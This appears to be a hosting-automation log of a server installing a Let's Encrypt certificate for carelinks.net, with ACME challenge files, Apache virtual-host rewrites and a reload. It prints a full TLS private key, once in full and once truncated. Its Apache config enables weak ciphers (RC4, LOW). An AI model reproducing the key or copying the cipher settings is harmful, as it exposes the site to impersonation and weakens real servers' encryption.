MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-08 17:08:33: Establishing a connection
2026-03-08 17:08:34: Establishing a connection
2026-03-08 17:08:35: 

PUT: /tmp/pkp665961

#!/bin/bash
if [ -d "/var/www/carelinks/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-03-08 17:08:36: 

chmod 755 /tmp/pkp665961; /tmp/pkp665961; rm /tmp/pkp665961

2026-03-08 17:08:36: 


1


2026-03-08 17:08:38: Establishing a connection
2026-03-08 17:08:39: 

PUT: /tmp/pkp836049

#!/bin/bash
mkdir -p "/var/www/carelinks/.well-known/acme-challenge/"
cd "/var/www/carelinks/.well-known/acme-challenge/"
cat > PjRfApPGcLCCB90uJJMv3_K4mrgvZ0kDg9k1YCFNK9M <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
PjRfApPGcLCCB90uJJMv3_K4mrgvZ0kDg9k1YCFNK9M.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 PjRfApPGcLCCB90uJJMv3_K4mrgvZ0kDg9k1YCFNK9M
cat > p6RZ2QcCQrh6jZT_W7xVUrzhZdNgHtHPXOQvgjLco7U <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
p6RZ2QcCQrh6jZT_W7xVUrzhZdNgHtHPXOQvgjLco7U.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 p6RZ2QcCQrh6jZT_W7xVUrzhZdNgHtHPXOQvgjLco7U


2026-03-08 17:08:40: 

chmod 755 /tmp/pkp836049; /tmp/pkp836049; rm /tmp/pkp836049

2026-03-08 17:08:40: 




2026-03-08 17:08:51: Establishing a connection
2026-03-08 17:08:52: 

PUT: /tmp/pkp180642

#!/bin/bash
mkdir -p "/var/www/carelinks/.well-known/acme-challenge/"
cd "/var/www/carelinks/.well-known/acme-challenge/"
rm PjRfApPGcLCCB90uJJMv3_K4mrgvZ0kDg9k1YCFNK9M
rm p6RZ2QcCQrh6jZT_W7xVUrzhZdNgHtHPXOQvgjLco7U


2026-03-08 17:08:53: 

chmod 755 /tmp/pkp180642; /tmp/pkp180642; rm /tmp/pkp180642

2026-03-08 17:08:53: 




2026-03-08 17:08:53: Establishing a connection
2026-03-08 17:08:54: 

PUT: /tmp/pkp391014

#!/bin/bash
temp_file=$(mktemp)
TARGET=be70646a2e1144028f50a65574b0ded5.crt

cat > $temp_file <<'endmsg'
85:f6:1e:8d:4c:f4:cf:6d:af:4b:61:cf:f3:3c:3c:1e

-----BEGIN CERTIFICATE-----
MIIFBzCCA++gAwIBAgISBkWhAvIAZs1RfQVm4s6ZrmYGMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMzA4MTYxMDE3WhcNMjYwNjA2MTYxMDE2WjAYMRYwFAYDVQQD
Ew1jYXJlbGlua3MubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
slQnwbg+7TllisuMGAzTwhlQHK7t+k2yTNXBfozpizHNJUWB+2rJq8d7PVDrMpIK
jU122BmuEVJR7u+MUxetanrt3zAqgswpvE7jjERC8N1Fth4yyf3Yfi7l4KvQerQx
QaHknYYda3bF5AJuknP98daFgEbvh68veNaSTHK8SZ9HQjJnBekwGwYB8Qv+bqw1
tdYwNXmaVm9WKINCu690gmWmU2WhckvWuSBkefqwQyIgYq3tBY1Epk0S+VrhFDzM
Dp1oaRbvSXSXg7OGIcjaAXvjbQ5BI7wNBXhx5A4TiCX/ywdQMhG7T9CUZOh/czre
sGhE67p12R7tnIkxxMAo6QIDAQABo4ICLjCCAiowDgYDVR0PAQH/BAQDAgWgMBMG
A1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFBac6qYF
VSZBZI3iWctL9Tm2qo8pMB8GA1UdIwQYMBaAFOernw8sM6BT015PeMiyhA471pIz
MDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMy5pLmxlbmNy
Lm9yZy8wKwYDVR0RBCQwIoINY2FyZWxpbmtzLm5ldIIRd3d3LmNhcmVsaW5rcy5u
ZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLQYDVR0fBCYwJDAioCCgHoYcaHR0cDov
L3IxMy5jLmxlbmNyLm9yZy83LmNybDCCAQ0GCisGAQQB1nkCBAIEgf4EgfsA+QB3
ABaDLavwqSUPD/A6pUX/yL/II9CHS/YEKSf45x8zE/X6AAABnM5sRSoAAAQDAEgw
RgIhAN88NJqMcFipWDrvOeKGIaB98Dxck9uynESE4bBUO8fXAiEAqn8D0QbHNquf
J0Rnde3OkdNvS0ug8IYjIrrcHGAhA8QAfgDjI43yjaKI4KrgrPD6kMmF8La/9dKl
J7AB/BxEWMS26AAAAZzObE7bAAgAAAUANOs13AQDAEcwRQIgXc31j4LaSZeqAppu
awxMq7zhafdC204agMIO/vUmi4QCIQDOo3SHUpR0c2t66p51Wb/t4GEbAvAHolBH
4v/ARh3J5DANBgkqhkiG9w0BAQsFAAOCAQEADYp4gAPxAeKeSqvQw/LSnf52nODF
HcovYjDeA4inZCB8Deichu3rfsIvo4hQ4LSfgm9l0+mXD9mtJzNu7gmorZla2b6y
2sl3f7aUqy2dqp+FAjJ1sLv5p7diVuQI/MnjwMvu5aEdcYd8RPcsFM8F266yeQsh
m3GHoPhtfGMWuO1zajYCNNZWYqkCvX9Crv/AS18YDbNU5NH1ULxxLF5X7U/y78/7
70DlkmhP8i6DL211qLDmWvzX0xGJ7DTlKWkwe8PBI+2JeBq9tzX5AM458r41RPKe
e5jgU1Z8DLQVNOwx5i8eUDwJpZSLN5Um4WOVmt4C/YqQVQHvqDxxO7BSDg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCyVCfBuD7tOWWK
y4wYDNPCGVAcru36TbJM1cF+jOmLMc0lRYH7asmrx3s9UOsykgqNTXbYGa4RUlHu
74xTF61qeu3fMCqCzCm8TuOMRELw3UW2HjLJ/dh+LuXgq9B6tDFBoeSdhh1rdsXk
Am6Sc/3x1oWARu+Hry941pJMcrxJn0dCMmcF6TAbBgHxC/5urDW11jA1eZpWb1Yo
g0K7r3SCZaZTZaFyS9a5IGR5+rBDIiBire0FjUSmTRL5WuEUPMwOnWhpFu9JdJeD
s4YhyNoBe+NtDkEjvA0FeHHkDhOIJf/LB1AyEbtP0JRk6H9zOt6waETrunXZHu2c
iTHEwCjpAgMBAAECggEACexcq38cElGUtNLjlHWHRZhowLXbxIdVDglBi5AeEVq3
uJSb+XB9cS+ILDbv5Zgime8W90rDiM94w3flSjzpr6CQUtCAdxeTFXla2HP2eSaJ
Aeu/hgW4CbqEnHpXHzLegFFY0kqzoaah97CKdGAbwBzAwE0COH3PQZVIHhSu5VZN
rH/PcusgqwxGm9wA8tfRagcTZpaeSEUbB2dQ7Z9DnjTfo58oALvS/+cZcKiKuRWS
TmjRVVB3UqK1H3qUvNJXmb7/Hjw9aoSR9LVeA4Y3mDCQnxMQW8jZwpEz385pZ3no
FcKXhL5wtY91YrrSSktjx0UFlliSB5kInFUgPM9q4QKBgQDqTm9YYqLy5GnVjjyD
3rUnd/t5l1xRc5qs+BX2bhzueZZhDksNrDf5AgD2mlfPJsMhcB9f7rs4iVaDMOIr
M3sVuI36fnVN9wl7BA9mv3SnheEg+sIrfHIGjNy88x9ViRapFz2Sc2rTngyqNa34
AwrUjnYntA2bgZJ2WCDxqeJGyQKBgQDC1u36QXwFhGRxhUcyITXfbBavKkvwk8L1
gqN8BhklDOhyc2wDwS0Kq13YbqWC44Ig4V4N4fwlrN+xwRGnm8PQmeqe2pwt5B0J
VTFsKTdUPtH5W20gM9ObwoCG72K+4bRZpcwyMhgOqZoUw2rttQ5QRA7aMoNvwyFL
n2+td7xBIQKBgGlf8Q+M/L/EHhzfJTQhWtNvUHe0rN4s4alcwXPcvcI6iHkJ1pNF
mr6wOgKuE0OkqSlGpbWdRjH9Ah1qRK0tL/Pq1l+Ls/HmYisi/lI1VJ9qxH7yh5TL
GPT9MOEBblwnlTtiqlxM8ARQFl4OWjkqFRrXHyhn/56qPVZf+CD3SD6RAoGALrPQ
FUVvEe97GA7nUufM/wHsqg4MZ90zRSAMSeU4T745VX2/LWM3hbAv7XoQKECaZ4E9
xzwc8Xbvo67wqWlX1X+fUnZ6KzHbl+oYz6FNht8L+6ZjkO17UoGbxzxIQhLd5QMt
3/ZL9+/FZCa3UcUtaiX2HW0wPjDaoULVRRJHSKECgYEArU/VWcqb7huaJBhNbivZ
UQ25Xu/cSnYqRCMUnTjSFtQ0uK6X+Uxk4Q2ceKHtuHQnrjxs2I9h4vizwB9y7Laz
lo9Kaj6Qrew2QMH3lxGmsGtG/Uy8pEXyiy0P8OzzaJJ4RBl+FJE3MVxyHNSIFPPK
99CgdVtRLeUu3jKRay28Zm0=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-03-08 17:08:55: 

chmod 755 /tmp/pkp391014; /tmp/pkp391014; rm /tmp/pkp391014

2026-03-08 17:08:56: 


dir=/etc/ssl/certs


2026-03-08 17:08:56: 

PUT: /tmp/pkp264077

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/carelinks_www_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-08 17:08:56: 

chmod 755 /tmp/pkp264077; /tmp/pkp264077; rm /tmp/pkp264077

2026-03-08 17:08:56: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks_www_net.conf 41

<VirtualHost *:80>
    ServerName	carelinks.net
    ServerAlias	www.carelinks.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks
    <Directory /var/www/carelinks>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks.net
    ServerAlias	www.carelinks.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/be70646a2e1144028f50a65574b0ded5.crt
    DocumentRoot	/var/www/carelinks
    <Directory /var/www/carelinks>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-03-08 17:08:56: 

PUT: /tmp/pkp628104

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinks_www_net.conf
TARGET=/etc/apache2/sites-enabled/carelinks_www_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	carelinks.net
    ServerAlias	www.carelinks.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks
    <Directory /var/www/carelinks>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks.net
    ServerAlias	www.carelinks.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/be70646a2e1144028f50a65574b0ded5.crt
    DocumentRoot	/var/www/carelinks
    <Directory /var/www/carelinks>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/carelinks_www_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/carelinks_www_net.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinks_www_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/carelinks_www_net.conf= 1'
fi


2026-03-08 17:08:57: 

chmod 755 /tmp/pkp628104; /tmp/pkp628104; rm /tmp/pkp628104

2026-03-08 17:08:57: 




2026-03-08 17:08:57: 

PUT: /tmp/pkp972563

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-08 17:08:58: 

chmod 755 /tmp/pkp972563; /tmp/pkp972563; rm /tmp/pkp972563

2026-03-08 17:08:58: 


.


2026-03-08 17:08:58: Establishing a connection
2026-03-08 17:08:59: 

PUT: /tmp/pkp916537

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-03-08 17:09:00: 

chmod 755 /tmp/pkp916537; /tmp/pkp916537; rm /tmp/pkp916537

2026-03-08 17:09:01: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:2)
                 alias www.carelinks.net
         port 80 namevhost carelinks.org (/etc/apache2/sites-enabled/carelinks_www_org.conf:2)
                 alias www.carelinks.org
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost earth.hostz.org (/etc/apache2/sites-enabled/pjy_earth_us.conf:3)
*:443                  is a NameVirtualHost
         default server carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:20)
         port 443 namevhost carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:20)
                 alias www.carelinks.net
         port 443 namevhost carelinks.org (/etc/apache2/sites-enabled/carelinks_www_org.conf:20)
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost earth.hostz.org (/etc/apache2/sites-enabled/pjy_earth_us.conf:24)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-03-08 17:09:01: 

PUT: /tmp/pkp991186

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/carelinks_www_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-08 17:09:01: 

chmod 755 /tmp/pkp991186; /tmp/pkp991186; rm /tmp/pkp991186

2026-03-08 17:09:01: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks_www_net.conf	1240

<VirtualHost *:80>
    ServerName	carelinks.net
    ServerAlias	www.carelinks.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks
    <Directory /var/www/carelinks>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks.net
    ServerAlias	www.carelinks.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/be70646a2e1144028f50a65574b0ded5.crt
    DocumentRoot	/var/www/carelinks
    <Directory /var/www/carelinks>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-03-08 17:09:01: 

PUT: /tmp/pkp666824

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/be70646a2e1144028f50a65574b0ded5.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-08 17:09:02: 

chmod 755 /tmp/pkp666824; /tmp/pkp666824; rm /tmp/pkp666824

2026-03-08 17:09:02: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/be70646a2e1144028f50a65574b0ded5.crt	5368
85:f6:1e:8d:4c:f4:cf:6d:af:4b:61:cf:f3:3c:3c:1e

-----BEGIN CERTIFICATE-----
MIIFBzCCA++gAwIBAgISBkWhAvIAZs1RfQVm4s6ZrmYGMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMzA4MTYxMDE3WhcNMjYwNjA2MTYxMDE2WjAYMRYwFAYDVQQD
Ew1jYXJlbGlua3MubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
slQnwbg+7TllisuMGAzTwhlQHK7t+k2yTNXBfozpizHNJUWB+2rJq8d7PVDrMpIK
jU122BmuEVJR7u+MUxetanrt3zAqgswpvE7jjERC8N1Fth4yyf3Yfi7l4KvQerQx
QaHknYYda3bF5AJuknP98daFgEbvh68veNaSTHK8SZ9HQjJnBekwGwYB8Qv+bqw1
tdYwNXmaVm9WKINCu690gmWmU2WhckvWuSBkefqwQyIgYq3tBY1Epk0S+VrhFDzM
Dp1oaRbvSXSXg7OGIcjaAXvjbQ5BI7wNBXhx5A4TiCX/ywdQMhG7T9CUZOh/czre
sGhE67p12R7tnIkxxMAo6QIDAQABo4ICLjCCAiowDgYDVR0PAQH/BAQDAgWgMBMG
A1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFBac6qYF
VSZBZI3iWctL9Tm2qo8pMB8GA1UdIwQYMBaAFOernw8sM6BT015PeMiyhA471pIz
MDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMy5pLmxlbmNy
Lm9yZy8wKwYDVR0RBCQwIoINY2FyZWxpbmtzLm5ldIIRd3d3LmNhcmVsaW5rcy5u
ZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLQYDVR0fBCYwJDAioCCgHoYcaHR0cDov
L3IxMy5jLmxlbmNyLm9yZy83LmNybDCCAQ0GCisGAQQB1nkCBAIEgf4EgfsA+QB3
ABaDLavwqSUPD/A6pUX/yL/II9CHS/YEKSf45x8zE/X6AAABnM5sRSoAAAQDAEgw
RgIhAN88NJqMcFipWDrvOeKGIaB98Dxck9uynESE4bBUO8fXAiEAqn8D0QbHNquf
J0Rnde3OkdNvS0ug8IYjIrrcHGAhA8QAfgDjI43yjaKI4KrgrPD6kMmF8La/9dKl
J7AB/BxEWMS26AAAAZzObE7bAAgAAAUANOs13AQDAEcwRQIgXc31j4LaSZeqAppu
awxMq7zhafdC204agMIO/vUmi4QCIQDOo3SHUpR0c2t66p51Wb/t4GEbAvAHolBH
4v/ARh3J5DANBgkqhkiG9w0BAQsFAAOCAQEADYp4gAPxAeKeSqvQw/LSnf52nODF
HcovYjDeA4inZCB8Deichu3rfsIvo4hQ4LSfgm9l0+mXD9mtJzNu7gmorZla2b6y
2sl3f7aUqy2dqp+FAjJ1sLv5p7diVuQI/MnjwMvu5aEdcYd8RPcsFM8F266yeQsh
m3GHoPhtfGMWuO1zajYCNNZWYqkCvX9Crv/AS18YDbNU5NH1ULxxLF5X7U/y78/7
70DlkmhP8i6DL211qLDmWvzX0xGJ7DTlKWkwe8PBI+2JeBq9tzX5AM458r41RPKe
e5jgU1Z8DLQVNOwx5i8eUDwJpZSLN5Um4WOVmt4C/YqQVQHvqDxxO7BSDg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCyVCfBuD7tOWWK
y4wYDNPCGVAcru36TbJM1cF+jOmLMc0lRYH7asmrx3s9UOsykgqNTXbYGa4RUlHu
74xTF61qeu3fMCqCzCm8TuOMRELw3UW2HjLJ/dh+LuXgq9B6tDFBoeSdhh1rdsXk
Am6Sc/3x1oWARu+Hry941pJMcrxJn0dCMmcF6TAbBgHxC/5urDW11jA1eZpWb1Yo
g0K7r3SCZaZTZaFyS9a5IGR5+rBDIiBire0FjUSmTRL5WuEUPMwOnWhpFu9JdJeD
s4YhyNoBe+NtDkEjvA0FeHHkDhOIJf/LB1AyEbtP0JRk6H9zOt6waETrunXZHu2c
iTHEwCjpAgMBAAECggEACexcq38cElGUtNLjlHWHRZhowLXbxIdVDglBi5AeEVq3
uJSb+XB9cS+ILDbv5Zgime8W90rDiM94w3flSjzpr6CQUtCAdxeTFXla2HP2eSaJ
